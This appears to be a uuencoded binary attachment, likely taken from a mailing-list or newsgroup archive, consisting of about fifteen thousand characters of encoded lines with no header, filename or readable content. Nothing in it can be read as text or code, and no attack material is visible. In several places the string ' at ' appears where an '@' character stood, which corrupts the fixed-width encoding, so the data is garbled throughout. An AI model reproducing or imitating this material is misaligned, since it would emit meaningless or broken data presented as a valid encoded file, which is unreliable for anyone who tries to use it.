M'?I6#1?!+#S1G.>TT^+((8K!J0'Q\ZA!X%-H%G>EBVDZP28[UN\_)._1'&38 M;P4>8F_5W8MM0K>=4X\7YM9!T=M8MP[?G!*`&B=/E+0\Y=AAF.K@UR MDSJEE;B>-?M+].9]T_NK%C"(&L>OI];`TL^;&V\#ZM14CVUD:;5%J#^2(8(" M4<*V>]:"MJX=^IX6`LWQ"2=5*]FM=C4"47LZ'@^N[K9>SMPEA=.#S5X&SIXB MQW`%PDCO'N%ZL5`);"5ZL2(:1,VZ:#T$L0ROPKD,J]"Y[9B3[Y\P)[%4_:?. MR>!*G`T^N:,GQG1B6K"XS,N`^DH>#A at OS[8D<7;C_\T3QG_]"\!$Z*#C6P[^ M*^`$$2KYX*[O53$]NQ]EB_/\"6B6,CA$&=H7J&7&J-D%JSUX_UV2O$Y^&P>, MCWT`5^R;$I;M4[W',`6LYW9QDM"/)0F*,5A)F!3,&I(G1YV23;V:%:09&_EQ;E(]ZE0(<]$OUVL]U`H_5^.6/G$ZQ.?U1) M&Q#:;'QSXIXY+TBF*DJ8_+-7J;^7YQ/?A3<>V?L\RU5>I4[6139!79MS?>_'JH-"R=<'6B0SO?#\)I.C9%I M9WSYAN^QK5:D\)YI<%#M%-(QSE\\[,,#Q]PV\8RPQ'_V`0SB2/-\#R>8KSB8 M$KL(X9,2 MUC[&@FVHO<4"*K at E^>3ZLP!$>D`!\ND,*#6DH64-C<5RC,CZ"9N8='3G*XVR MC'\((0\#_=B.3K+=?KGQPK^TPXXEEOZ9,^4ZY$B()U&;I"X;G=W]?'^;N+#V MP&EB"F#Q!'[&WD;]C=M>](?K_KBFQ>_^N%G11^,>^DLZW5Q]I[O>JRC:^UZMEP#48:GO5L:NH@#\"NW<;<+ MOUX!.I-.8OW\J&OXI$`81DH1LJR&56U=YG&JF+)0'=K4IU[HII^BS+AQ>C5C M6&6$#!%Z4)I2>ID&3OV+WMU4./-L<2.&C>UPMI]XE[6>G=BKTU6U^7!BNU;- M#`E^QN;:KKV7;`<5&QKUJ&D#(B"0%^*7U6HTVQXWXCQ8'I^B^@QOV*L,OZU( M?UQ_>F%P>Y?DSLHSSUY=L#4:?WHPUYG\Q4 at U1`TSZ3[KIR*[!]!2OK-:#5T2 M.,UKUA;4Q"`?Z.YAM,<-E8XG0:L-0^458>=BLZ-(T71:SII;>C"03[]1LX.N M2JR_*1].O#V93_)\:.B'CI7L"K;=I1!#WX;'W4 at PG;,B#VYOT1::]&PW.1U# MK-R6R_G[6^88E(4*Y;,,A[2TG at SP!^#CX/>X(8/6TZLQB(P1^Y@">Q^X7Z;HX-)%S\ M9KC=U/"0.;*,4*.7XK.A3D1##ZX at 66S4>Q;;F9S,G5F%NJ>UY^G at RO$D]K=A:C;'UV_)P[B:OB at T0F?@OLB#"O4%V[U(9+HG7\>(;=,NP6&T?6/J"I3S(($-['C"27C<$+T2#^6C0E/`4I5A)`_WO M1V*GM)\=`PW%84AV^W$Z.5@\3A\_B,Q(-TF]WAV^.`[;LFS$).Y(C1;RRLSK MLG0U"Z.(BRW&A>/UNUPO,RDX&8A](0ML]'X6B:QTJV*PEK`Q"`J_ M&7Y*2%RII7C7Z1N3N/JF at N^)8 at 76)S)?+IG&%-V7=(AR21$G at R\* M`AN7Y8#_8$;XO at S\TC(=7*$@7>YC09X2SKA?:<(8$\:#J[^2A#'6,H9:WFA" M at 0EP7)UK`A9!/<<%;(0C,GC8S/AZ<'6I.6XPQ\W at ZDH2KE-(N(:.I$$"]",+ M$J#9/$B`9HL at H1Q-3;B!?KP-$J`?[R3AIL0$:.6] M)N!H;Z"5[S7A&A. at E=]H`H[V!EKY+2<`=P^;)X6N_V=-*#$!*OTOFG"-"5#' MWTC"&-8ERZ`?_U43L(X,ZOA_:P+6D4$=O]<$:#;#2?[ODH!CR7(8W-]I`E:: M0Z7_'TW`2G.H]!\T`?H!*="1_^]0]4*0I8!*_J[NWH_'*ZKS\V7=?)]DID0Y]?&R<29V\'(,W\+7Z;ZNE**`UWUJO@%ELVO\-^J8?KW\ MGIL['V?Y)7[=F7HOY]6A&FZG?^;8$' M28+$TFR[GB2OKH8X"OA<-S".]\WNA]3_[S>PM6B'PC3!QUW3]1&.VFO\..OY M".3!^WW:\S''CUG/1VQSGW=_O,8V]T7/1VJS[/E(;8Y[/L+*+H'EW>V&"SLO MBWUG=KS<"]^RSF\I?+A2.A`5P.^X,2VM,OP.)LYX;N;IQ/^AJY(1?- MY/!EL70NH^;3\`7W4N*H=7E:50V>R/(&//$>9EJKPU?_";@KYYMA<8GW[+6_ MBUWCB/6MYP0(QJ5!DIOI`+XT,_]F/>SC<^9<7N&FIN>WE\,:-R'@BOGT_&WV M#G;> MFI`CPV3*HTS0NW:F(LHT71[:F!>0[S-)\/'5-X'3:V/NR6 M<6,=>>;M>L*!K1==];3RF'IX_]_PUEX?5_/E)\QS#(!#,F5A)OBW(U,>9JK0 MTU0K4]'*-%,\@N`E8$8+.]U7&U1IO)_N/;HQN;A3/M>F[LH4555_[,B41S7= M==641S6M#AV9BKBFSDQQ3>WFZ#P),NU679FBFM;+CDSQ/-UW9HK[M&U:>>)I M^C3KJ"B>ID]-1Z9XFNZ7[=9:L[3U1TXJTZ-_-UMD8B#7?;6R>,+ER4P>]*W6 ME2?:'8))\IM)D6FX/W9G&MJ:ZJ0\A@&>RGQ:KP[Z63;>(QW_#*^+S;.?M M/'E8#S39D2>NYU,[3Q'6TQRG'7G">H!X:> MQEG*5E-QENMV;[9QEM;D+.LHRTW:RK*(L[1JV2X"J,AN(CB=+6:S"'(HCX53 M@)M%5YX\S+/LR)-%]1Y]KF:8(\@CE,CV"[OJ_7;20,F4J7:8P5 M?0E[)(>LSW2#"UOM/[3&?^-;>XL5;:>=XR\TTSO,9+!Y=B.DN*P-9;J&3-N9 MZ_>086LR-)&=B77A@]1/-E-`!X:`]`[)"&S%M,`O.SN\#8UAH;!0+%M:0GYM54S.+NX=F8K^_$( M6(/MO$)()^Y3'$@H,TKQL;<'.X(@].H.>)1X5EL54&?(."ZT+PRF)\/I M@;+?>'J^?IUR[,C>RD.B68M;#TH76'J[ZQF&CTEP5BQ4;'S_-?B-=O<&N(C(U0.2P`>-M MR?F.0'>W`_8IGT5NZC<"*'RYW,@)Z2XPQYV$0U/YF![+M.YD#?_2<[,0/FZ/0XF,4X MT0;9 at 9_,L5IN6B/-;(;CIBM+'DXGBL1.U#&[GR_W)T=R6*Y;0PVJ6%RR0%;1?`G/J:N\9 at Z;CYL8/\\1C2VC[IOKO_IT/\]<_SO]/KZIFSK_XH7 M_=]S_%#_EX?Z/W0X>-QMQ&B9+2)&9Z^B8*-$PB"=WKH<3Z8/GCR-;[0']U7/ MU(K$WWY!\PQ[;T0C]YAJU?6_)&$Q,:(89`D ML+/,'$YBV)RL_J?XACA/#QMST#5H#;W`QO at D$=$+<&+KSDL at -',I8)/Y2^SJ M1#$37C0;NF#AVNN";>5-TAF*BJ1.EYQ3CS2GOXVG0X!^%JH6SDK.3)1OV;K= MK=,`![IZ.:!+"BX0)EL$67X1/:#O*!A(8KQZZ95FLO9Q=Q60HL';RZF+,"5@ M:18%NP!=49@,*V"7$DC,4S`1NJH]C7R>3/4*%CI+3%V%D;T$79?;1FVBA;0Y.G\VGM>SKUD M(_=W<2[$&]UR-F7&5UX;=ERC(4#Q.L>V1SAG?((!5*?..1'`LP)4^^9+.L'^ MT14D!5_D$2=NC15^X\@)*`_`"<;Q: M69(HQX&N7X5YWH1Y5NU:O at MS[-LY7H.]K1,-8DYHK1-<-,H,S[2A3#'TK.)Q&D MI0[M8&\4.%1DYFU_3+Q6E2V3["53!^XJ';([^8;[MIM!54/U`2B1?$[+LT5V MC&9`V8+B-K#?FB6*>&%R]R1EV>/S_#-*=]<:3-XIUU M(+(;2BPHM"&.1)=QW;@'@MI7NZBE"+3/F;\@5D*;P=%\13.^MHOO;&V=HM%@ M-///7S<:V!TM,=/)@9H6 at 20:TN*'2R^29B8'H/F;Z=-Z1.5**0?[YWH13\89 M[?@3/>=.723SLPPN?!=>8 at UK>A>>/NE:3/33V.\^>MCLR5 at YGPV\< M&_4(,I(T$LYO/`[Z#@L^*CSI.^1RT,:O,>>OL?>_QE/MUSAMOT9?U;_&<^#7 M>)C_FA`C#JJ3/O2;O?-*L)"6QN4YK-Q8Z6.4W)]EGLF at 3(6CE0W_X#RRINR0 M)Y2[8F492USI*%,IN?CICG8#`0"L3['H$+'BQAL6P?3;F$O,FO<[0N at +(HS$ M91:=+0:HO+]9K].R4MQO*@SHX/__,O%_>_G_/+W.Q^W[/_D+__\ MIR,Q@"[R23(8H`IMG6SWRSN8CVMEFG/O1L,0MONLQ==>7M)832]1,9ERM=/MBL-` M.H*/KYJ)\P?G]HM3L6[EVJ51;(DX0VQ*YNQ4K\*YQ=[)>%2.X<>DPHJH!E(< M62J*L##>^&^)\W=!.Z$M72#]P6W" MO+,C*X3Y384%1W[;3AW?.>J7=EQ@`2(Y^L09W,9MPE?W,)<(!!*^QJ="`AR) M%SA<+A<#O(DF!41^8')J'Z_?`"JC>X'GW!)[%W2T%!LQX&PM5MN*/:B3<4NR M1A_#;IR[1N2/Y$N#5]-=@SO/9#].EQ6''&O5<49^;-0C)KF_P`!S!)&E)P&R M,F"*:J*428PR12<-=(?-15MUCDHN,IT96G6*R[?;(44D\:6-P-1Y2*DPZEGP M7G_>M?A.!XM"40H$.C=SKT;!30V4.)3&71=?7K.4(=]9:SF,D=9-&>-*A:DH M+AFF8,[>/N<3TR>K6)EMU^L*'=1$LF7U%8VE=7_BYF3OS@%Y^-L?-A%G1H6' M=+JTB,F_@>.(]BJ<%IOY95"V_CPQ3E:'LC"ZM'2E#@]611A\G[#;S6S at 7?;S MT+A5UM`#SM,MI-)*60,0@!*>J[AM;VQ!6C$5G"KUFGN)H`TR'MHR\#4=%(-Y M69P7K4^MC)%@02?@U?F([T,R%.N2DZ]:OKX9B+(Y#P$*>K?6>BQ<.L]#Z=`Z MH#;>B.K!YK at FFD"3JXZL*-X65]7D9*<&[.%EX%3JHNQJXT=)KDT9 at 1>>X%N, M[=4\T#1-T1U,*0$RW(@M(62T,;"60(+L$;:-1<^0:H/W5^>W^!T at X]6%>TIN M!SQ3\'QY*UT:O/J3?_RGV\%LN9\=U]#@JS>WU(OAX"*[':1\AU;6BA at Q[>!> M:QU*CT32I;NXJN+93.9-1P2&`K^=@)H5K18E^A$ MP&7MOQ at +D(/+%3R=0GMJ2*[BD;VQ[=@;0*PINM#T2#LHWMQ(GNSQ%K*T?D+V M93A0`K6)_V8U3J+>XSPM;9W,BJJ\3CZVB]+[VTMC`RO+3SM/,"2A43I#>*RJ MA33),EU%E&Q]F]ET10SM$H(;[I>D-6/]09F.&`5P]R2FNRORI^XN53T-.&59 M'IJ?K9SZ0?(J?J;SP2D?!9M;J;:"A7CU"BK_ M>-RB,]%7O[X=S/7Y#)ZW*^C.J_]T.ZC6.PQ\\>JO;NGT?O5_W@[N]A@=7G$M M9ITXFA<=8O`U5Y:NWXR"O8^TPK[:D5PPZ[12M/=X:2-`_7135YCZ,Z;`D=GT M^]C+K"+9ZQOA^AE>'(7>7XYD"P.FK#OK:!>-LBE!C'XI@,S_^CYR>7M4RI2) M/:0W]?EM&EL"&3. at 8\M,R-H[K9+EIFE97AE#MCTYV=LGT]V)7,OMB8^[[0.& M;ZB6+:.FD]9?9 at C5'.UG*<##B6;V6P#(]9IB+AQ@(QU/]?AO_@[(F%F]0VE# M?ZXUG(;[+]#WX^I$75WF<8%MW&.=08.ONF6D9]8WNS[U\<9\'/(V$1#9[>^` M20M,QW:#N"J8N-DAF,FF(T]Q MI at M6HCS5$_*L/[96A=OO,FIT*\;#9>R[8(9EM"!ZZ;A-T\X;34V3(=^,/1).R2:QA-30-?4'V^3R"R5J!;A M41QS(]K,Z#+"[,ML1;$4OAA-UI!>)]&T=LX%TV3"2(9M9:XMN=.D64]TR_#= MTC-8,M,Q(KZ^:F08YL-40'1C7$%88D*6 MB4H^M:NS0S4*%`#0$3[=[0XBI!^'".`\YIKUQ'+F+8BHFED`JK.=WTE1D`_X MU at I9T.+X2>R@=SJ#DLI2D]R3M>$J7>I$C-09GE![-:\5;=0:X*59UDXL.WC] M[.9F:$*B1F at F-NM-'7%N[,-^(/6Z6CI4JV;F`MT'_MF#FL/LQ3?,[/D]8,[: M."V\A4BI!GG7![1*LM)I4[\R%?%>0V$F09&?)MI'IZHE>.T$&C'+B_`62<)< MH8@#;^^J100M9F5I%)W5&/?E)"1HHXG8MWU at 9#GD8?8@'!66R<:V\&VH"XEY MQ!PC7CQ%A9>GGK&F1&2Y[+5*@*B<)TU>RC"8 at 8KWU8A"2+#1=2M(7>1I1R*U:I.'G8<1658W'D MW)5#RFNIZLO>7<"]O^SY\/;2QS&9N_:>5C/UM)`13[6EO^YN22+:]]K+L'10 MSS]/`>*[ER>&T:Z(W9=HHVI3?FJQS!4#TW(68#?%,/-/OU?'Y_OUX#!WBWVDY7 at QU>9AQZR[US9^&SV\]=%-;()(Y9C1JW,WI! M<0?8`3`;F8T$[^A^5?#.`A%/AOA^O=T<[AN*]IE[.>=7U5,,R#CF"]=2>*R% MVW*-E[US%I86_M+)-;5=[6?W**-;P0#WO_5*/2SX99^]N\DI3DZRJJM=\J6N M,!3S'G87Q5\F-("ZF+R\M)TX;)/[[7'?/'$42T+)"T$C<#:B80+/S6%[J%:= ME6$,AK[:S at K8FI=<(YTP4J,3R:.)@FC4D2)`OS.\NCSD0`\)]7W9(VBT>ZAX M$+(<'K;\G4Y"UYY?(X-6^R)_"2WI34T(()7Q8R`4G3I]$3VB[\$-8@ M,=*\Z0#['>[+GK'IK\N.85)^^QL?&F2(X.'6B47H"[KBPI"1NY6:RH4VE9TH M=*A&TOA0(&`C/L+?UUL2S4)5"Y!(U4HP,AA!5_*W;V_0?*B\3M]>#H=KEKK" ML`J,U3=^!_^\PP:RG/X=8VKV%O_-R9HH+PO\]P;_+5*,-%H4\&^*32#\3@;9 M$`!R,J";#;AV,!?_<-SPQ97W?[O5I_]QK.7I'^NYIMT?]Q@;]OW?[)>2]`_5 M at 9^8-_^E\?MCO];Y3[S1MR4`'CG_(36/S_\R?SG_G^5WE=""TTF_1?.D>Y0< M6HSR2_?PY?>7_+7W_WKWW/$_KK/6_D]O;E[V_W/\8/^O=[C[9]OUKL+(<\M5 MW0Q#TK[HTX_\'TUUAS;V4$6UO\OPGSP431M2H^>:C!IVL]V\,R'74,UA at _^Y MVKPZ))B5&KP\T9A:[6;?J+'\*8VI,"F/!'0/MPEV9/H)RFRU2V)^%>;*7:[< MB6+UXINZ0LA:%,&V3SZ(: M>^*-:1QKRQ@%5Y3Y2WO7#?.\*9V_MH at W`>#,V73-W`TF2CL?R0<547)C61!; M/-4K\=<._-EB6-@/9W1/H4VY.K'F;NI/P45YJ;'D7%*IO`4=5EB)W5Y/JLC&HNG"5I\;IEL^^2WX7:4E3L M?=HL$^\?[[6][JBZLV?6$T9TQ\,V-;4@^[6\:4-W]-E85RS6, MP-R7*W4?B^X*_66 at R=`YJV at MPVPXW_JSRV%B]4'A%8>A%:<>6P0]$=FF-%$Z MC:\HXD%!]9J!I.HPH!"%G'-^44S=3>\^0=WE9;Q,X1JI,36IKD0%Y at D.F@5O MQV^((E*[VI71>PFJ)-)%>L>"-#[IG5V_,>9W\6YZU+"X$SS14Q@#A2 at C@O9D M\)[`?%K_O/+[/G>8D=5>>NXP849F7=ORU M_D[D_E*ZZ+X>D"XN&9Y7]9GK;C_UU?O^S_Y_C!_J\.+/_;H%.(#:K[109H.=QQB_4E MIWA>T3=F at 0:35GKGG';:F$V9YMM-'529.IHU1?+]PHL=$%F0/P[OF,?0=9WR MN\9)?S%<9PB)8_=[%J1%/D$[+7<]EXN0AF9M_V>\OWLW'EFR4?LVU#F M0BQ`3]7OQ46NBZ'!'E*(2T,A0O9M^(KA;UW89KY%\$MO at _^POQ;^GU;-MW8` M]9C_Y[2M_P$*\`7_/\?O*L$%5P40NF,:RH.PJHOM7GV=-+MJ5CL'3ZOEIMYL M/7XR)I."&/%*+OD70<>8BE>XF,6?P)2NMMXH5`3$[LX,'$CK&@V/!^Q/A_EV M;5UIN)HZ=T%&(.KH6-AKL3H9O-\>#\EV`0.=UPEE;TF?<%P\8!MY]@RQL[K* ML`&"L'/M::H_8^=HGKH'H4;V:&B&5Z/_5#5WH6^.P=F?R-!U9&Y$G_UI0_5R M4G=OW6QP'SQ&__JI:`UT0\B,$^PMOI3<'IJX0BZ.L\$#00^E+%NBQ>"(%=]..XIXX*L MM at X;NNG7'+8SM.Z#8OOJ`?_6^ZH9QB;,1;@>T$L$BHY)^?.V=GH?G at M_HPT[ M/NDH(RY`%O9R#)U/SF!1?(VW/GO'#:=[Y??8_+ at S'G"D\-.'EAOH:0XM!'$0 M$C@@K,L;!9?#>4Y#?#1 M[:%7O_8;KW/Z.E":NRNP=^#J=V/5S)9+S4DJUL**#@KR;X_>,*R#"=,)EWQN MUYVI6SBUH?U6Z=ZG?J*XJ;@+4(F]5D5' MTI`P44L/K+W)XP^N9]^;CN&$?D+C!)?2FA0\+KD_ at ZMD^ZG>KZHOR4,B)["T MP68 M-UFNI]6JVD3DQI!KFD1S@#U@`H+2+P*[A at N2&ABJZT\[GBTS;%S4D>A\;`B. MU(T\C>9!IM=O%CP/NS<7&2YTX&`X..,"3SM1Y%B"`P[/A%/'6U=]?M-A#]K] MPH/<9<&7%@+[I3F1E]\O\>OB_]/GY?]OTK(E_\W&+_S_L_R(_T^1_X>_RYF[ MX+6N@'&79V!U1\`J-J-DM;T;H5_"45(=*DC<;1\T$[)DF+Q=C)+%85O1OUO] MBGZ^1DG#CMX`OR7?)R5&F!X.L:&)NQ86W(,Q;O51,EMAZ`9W'K'//.\P%_\] M[IS"Z@[9'G(E6-(T/+`(1L[!SU@;D_?]8 M[TA2_]M.WIW:6KH:ELV7-44P]:9R.%;%JE5L[NCWKZK3- MA28TZ`*5;&BP[R$=P&NHM<'):`UT6,P>"S)0H/\EK$5T#UC'G?AM14!0B9'T M;C_G-0X$!0&/T2.1,.*4$V((RV="[>12K0C`&BU$\D5,"`=^5(O7GM=B;L&F MB/FE,%%BZT-EB]%9S8U>.+E^WB$%@@V:K*O-%P+WIF7+XDBD0DDDVDPV`<`Y M\O9,6:P?<)E"3Y8+".]%&^VS".- M(*R7,-SI=$0UG;][I_?J\L6`_(U7\V1V7\\^C)+I\9!4_")#?2,&4F3T-.VB M/Z?B_?=-. at VBSYFN.J>I7GG%NCJKCT68L53XE2FY! M5BA&P,!,+6Q$7GH)$!KMG)+33^ND:=C[:]%8=59H_.I/;>S%6#)M?3!>JDW( M;E=,H"YK09T?C0IMS`8*MIM+5[G"*2,WYXH(L9Z5%"@#&WN$%9LT*^H+O-2@ MZ-/64W74\^/C]9C`,^@8MIX&KE_YR=N?ZVE-.5$\ZP+$>4THLGMY&QNT1;:Y M,SDQ_E+,J1!^IQ[NZP::MF#"?0Y-[%WZ>=ZROD<]L*^%0UYEW1)59^%>CBRE M4G/Q2.[`M(#V3/UP!^*SK^UKW(VLO(S,$5V7N/6+_*W1./?H)S1H1*^&PO;2 MO?O>(4"4_A$Z%4G//BQWD_ZC.Y8$HB2TPZD:V9:J3YL0;\WW.XPE$H5TA+8> MO7J@!Y)@ON!,"LF*4ZLHVC;Y`-M+T9/SQV#,AR4:).<5E\4N^E'&\.86^#I: MWE!6&09I0<2EB-VG^$-^&=$001R10^N89!(`.,G+?E3!2L7)5TS57B,TQO15 M,,P84%?5M%YYM_XM&DK[(_3W)-J!J7G7;4Y2U85ZW6%QT*)#M.C$6*V$LTS? M`(4L#!^UX%&F1BC)^S'`$8Q0TQ?AT'^`7TO^4S7YN^>6_XQ;_G]>[O\^T^\J MJ9IW*/[YN__R=Q=9!F]-O9ZNZGV"9O])/G1AP(:,L^#Y\H(D-U<)!K1?5JOD M4[5?5E.R&4S2G)S137AMDZM+2,HH*4B]Q/+[^FZ)HNGA,"]O]1.ZI).W#-XR M]Y;#6^[>"G at KW%L);Z5[&\/;V+U=)U?-SKW=)%>(T(;J+_P*Q_>?$G82CR.` MW@(JF7N#YMS= M&U2SV?I7J&?5W+M7J`C]SP_5^1E&T8+Y6I.+;NYJJA-%0V7:P;&1Q,NG0%?@M/4MXQ"/FS"I MP.[6,Y\`G9G=SY=[GP*=(4&@2\!)K3X$>6X2OJW at 4G+L#MX1\BG0'0X7Y5*@ M/R02<`G0&R0[?`+TYE"O5CX!.K,FYXF[4T!W[J(D7/Y@ M8`7T!SV;^P3H#PK"?`+T9Q%TN8`.S>JU2<#9(;];+ at 6[.3$!R7LQHA3:)7N>@<67&+ZYWB1@!*@MXS_S[E##DG`&W!&?R[9"@X M88IWY#"#?Y<,I2;,.(-_EPQC36 at X@W^7#-><`.0;9Y!W((5P7%,8#A#?P_3Z MEJ<%R^[E->.J-K6^\^?ZH[SG_/U.O^?\?760]T*^NW?YSOEIMO!]M])W_KY> MRKNT?^_>I?RVD03IP*>9OG.&3_J]T`JBA'H6OL_8N M@(DQ#G+,2[S:TWOFWZ>:(:.$[5HSZ+O+D&/" M,V("G,,'-/)*!<*A2P=9[O4N6&XXEM*29A;.(:D$G"W.7(.6'I:Y=J<66\S"J0&_94C%O_0190D[(I,QQ)0F\M at FZY9,B,L#U3HMHPU"IH=F2 M14BU)8N0;DL6(>4&[P'M!N\!]0;O8US.++LJQPR`Z$01%K,`*)6A5:LF^0[H MH]><6&CBC%)GDBPGU.Z+4GP7F?]`@^=7F0RD\4P;"=)?MGJH6,DQ4VS^:4[[ MZH:WU6?!`>DUP4.#5C((J]^L*"+,"WF6IF^W4$-.X$Z_=Q%ZB[^9AGOH$ MEBQD/@%ZDN?F._4M+WP*:6"'^=BGT)V+W+1"81WR&]-LTPP+4RNZ>Q\.CRK$ M0)[)&?.V)%@?E\O;I+"JQG+H_0%`8N7NR!LG0^-A$"$8(U[-Z\5Q,T?5!HZA M6BU_K!.@?!-(K!?+33UO^MT*59>'=>B+G5+R5HJW*MZB1O(V,25)2GSX?*`8 MQ!VYW+5/A,,']&_$Q7G(S26&(%9[E3!SOG!%#;?B\Y=D:##950L&*< MU;OM<$CMRL+0M?+'U+GMN]^JPN$V@?_#6%HO`J!_I[\N^<_;YY7_9-?79Y#_/\<,3[NU)^<_L'G`]2:[?_Y!6TQF at WCMT='J__/.'U7JSQ>?=QWUS M.'YZP.?/7WX$.JDHQ_AR??/VW9\N?S,US-@<3Z!'V$&Q9GH.LFC7-'D> MO9NF3>IP,9T>%SO7:3IA7<>J3RBD8]=4V.RT:FHM"2.RKW3>.1]7_D8G7OV< MZ0L?G686%OI=?Z?<>^F6?K?OQ_6GRO5R77T^?'$MP?R;P2[M-%,4 M97,#%N9%OEUS`I0-$X!EV[FA[E?+]=+-QS<]B[OP_\WSXG]@;Z[;^/_%_\>S M_*Z2I+I!_+^;[P+\3Q&C]W4CBF?9GY)H3&RL1OK5N;N?P4XP'8/`-FI`<%;S M3]5FYDTH4"AM++B,KTFH>UH?'HAJ!:(8 at Q'Q[0,.#'*CA#3S)"Z[[EP M'%[<=0':A]C&A,.%3Y<;-!'%>.'Z^,8_7OG'_^0>T^+&/(_-\[7/_E?^\0_P MN*_06`V#ZDIJAC%P`>,.![D\91Q15[X#BTXA<>EUHF92Q'#:"-]Z30(AH#:\ M4SER`9\9*A'DL1&U+2%<[_3_"_G<@ET'N.8^::8V([)T0QJ=`GG>':(HJM9< M[X`=Y^'JU1_#L1GH_F/@>"YUS>T#1C@*M)-C6&6)SL[@];EYR$?""CHF7L/F M!A`VMA`&PZVA)H%4@:4QPA)6R,`$)!L*YA&8X!%E\@A,\(B"&`0F>$09#$%0 M at K01P1460WMOA*7Z,^K(")3JSWN*S_Q75`.&N`+PP8BSZ^F2HR_#RP:C4R&L M)*C%E(_>$D=PD_1\2%5.?/@@"F[`+3HS\!7&ZMD2AJ-/WBX$A=I+P%APGA_P MUEJU:LC\(H_:@+[V%^I8O\*C5(P](55JQKQ_,##9W0WM@=+$MWH77. M5FE=A8*8V_&0X'V at 8:J["F_W_67)Z5/7'!Y7)^9P]\4"?E=Y`+-OM08=$P]0 M]_AT]"P`_9WX0U70`TK.!%%QA=XVRQR[3)0Z]+&N`'VL?#\SGALQ;#+#C/)C MU\1]5^H[FCJ[N)3]-P7T4>0N%O]R/$V?UV=B: M6ML at B-9GHLX&7]?P]Q\4W].QZ">K*L# M_]-^:J7+IZYTW['ZJ1WKG('_^1=)_P\LW>SB_ZZ?E?_+LN)Z_,+__4*_JZ2Z M[F+_G/AONS-76!YGSZP7FC$?!=M=O36IK]XS'J=;T'BF00O9S1!>)Q'-ZV,. M'`\/\964%N.G:#P7-HCK#WLZODV*G#OJKG('W%SH?[Z;+@^O^A`#IV:\+-4B MKHKN'J(01SY=P&E"8ARAC+/%199>4G at U.F-@%L;T[S7]>T/_9BG_R?A/SG\* M_E/R'RZ5<;&,R^5<+N=R.9?+H1R-&I^Y5,ZE\$A<^+U7:78&3[ MT:+9!Q5 at IK'/`U]'F,^I+UV]PRL)4$N5^QF2>+?;75ZU.,-P$B'+M%6.1BUC M">SMU;1?:@Q#*K"[/@H_S1_P5DG\Y)@^-S,=]S2`I/LL=%?C><`Q`9+Q,FESZSS0W<"DB%T M2#98B/![3S^_G!X4R&2+#HBG%GB4U.L#H4(Z5]JE%9"O2[U=FAKVCB2: MQ(/9AG%P57Y%#J M-;5YTSZBC)1:J9R<#ZPH6GH>]4\:O[&7`K52UP'63M*I["&40Z:;ZT<$GVPI M0^PS7>@%$HS\<3N@:8/;5-QZ' M:DA$E(01<^-=`(?5T`J73'<\<=::F"%+Y M[N3*10-'],*JS at OC;!+-;%;'YOXV0>U%Y]Q]NQ6EFXO9#$-J9I,ZWJY5)?L-] MO:L/GT6$APPGWD_\W(-\M5TYDKJ4#;E*XT5^9]Z$'-*DQ\Z&(&$G\WF==E!R M.F76RT1>MK:P.7:ZBAO]A))MR,Z\_AQ/HDAGL+SLFU&=ABT0Y.Z[Q;&!;%0(H1=O=,PC0U#XN M3BW4KF-V':C$.AD&<)7!TAS>I(Y6$;`PCQU`8^@768-X"6-\C;GR4U"#FZ5= M+MYG!FV0$8>*P"]8N;GG;=31@:^=O3;+0B!H.XS[^-&&OG(W!EHWF;6;L%G$ M#@97]:KZWAAV(>TAY&%VRZEXX:C:Q&CEF]69F7@"\&;H_#'H5>',WPMW*&#L M$+ZY[IRUB,,6!:,MLUJVW;DZ[MS.XN7^>7E]"D[ERR\M=/M7].N2_XZ?U_X' M+YVTXW^\Q/][EA_:?^9CE%'4Z]WAR\O6^`_VZ]K_Y?/N_Z(89^W[__G+_G^. M'^S_\K3^IZD/GGPVO+6/[>5%RQJL2_RS&ZL!=:;B&4V2WA*C^?F0-*OMP5MJ M:'Z\(-M5!,C\9%U]-N07IR-O3!1X3&FI4<'N&(1D=FZRQ-.6^I5CL6EJ(^<8 M(XO>J3`L.TX,=HB&)>03I@]L[ZV at V_BC\LUQW$WG7Y)-KG+CO=CPUBJJ""V] M4E_Y&RF*,B*N6LTQ_#QUFV)0O9-XJ&QXF)/G&:R86Y^$<^`&DRX&=H&`1>)/ M:.C=Y_W'`)/:RJ`P!RNBFV9A31+IVLB,F?>!XC*3Y,9/%@'%&P9<*!P'R5HD M+S*/+'O)O"V8:^8\QSIFY`#``Z>O.8+I8)"=WM8D."<"&XJ>R8A^Z,+9TA)V MA+':1!&9H!=:,@[@;7SYG5$YRKD+(FJ3\.X-I1._A?/%N;Q#0R*DU0X6631G M=HKASD7MR:R;<<5D7&)3%%@7_;U31N2ST!!H,Y8!SU8&@_)LKV.)2LIC1S^$ M0^Z3NL`.[9;WI=/88BDT[@)N\-+'I_WIN:<#N3[CU-0!NF$)H-EUY3.6&IME M_?>__K_T0?NO]-=%_Q7/2__EU^WX7^G-B_W/L_R`_BM.TG^4TBL'(]%,O6U8 M"5M7)@ACG^3?WPK/(H/.P%2A'+']?==-$2<&^IY13VG-BR:G1(D>?Z@&;2>N MOO<#Z7UDDEK&V at TEVESJT/E0;%E'T-T"G$#7;=(]&8LC41I0GKC\SI17/XQZ M*<&/8#&MYI],SO))0DM/Y:EP#T8WN#K4#7HRW">LGW1*%B^BC]3ILVKSZJ"Q M at ZVV*%*_LV$$NA7 at Z/">4N.6W/3C0*V at 7[6P`=5=3`+#("1FSQB34W(]!EQ*(:0<^`S5"W\J/5WO8UI8&<>UQR$J"J)1=?K"1* MA6]%\6:PUZ$HB\_!&=R'G;\@97`(WVXU1D76U,RH29SE&-JOYQJVRMWT<52% M9`JMT'SL:F^%Y#KKN`3?2]&X*I4&5+H?_2_M8K/K_,^?^?R_R8L7^<\O](/S M/S\M_V&12=M$Y=TB,F:1;2C;G]*,9=U^NR*]3S57M$V;HB#O+O4!SPXX.3[5 MR6Z6H'>X%JJ%77J5`%]=[S?5"K(OZGV]F>EY=I;=()9?;\E=S+KZ4">;[8;C M4:)KRE`=I]KD,_%H`M!0:I]!CZ">FC:-4>JXI5(L%^Z),K at O&IGW15?O8> M^9U3X1COKJU"8WC27.BA3<7QP4UIH$>=?,UF\"88;8EF).WL-_9V!R)Y-'=T M@;'-5C!/N[R<1_[#W7TS/2A5HFM^`+ MB;<;5^@\Z(8K6_ISD3%V:BL1WSM02?Y&JLG?<$7H/XBO4@?-JA,?6T1;UHO7 M/O?!YP[R]E7.?H1\[CQE+]S5/%EN--@&G1`)$"WU:C$4='@,(X8$\Z^B7`G[ M,6)?1TX_(M4V4:FP"F]A77K)`;;,_HD@&>O[;E?O[ZM=\]JX`R17@)<^7)5C 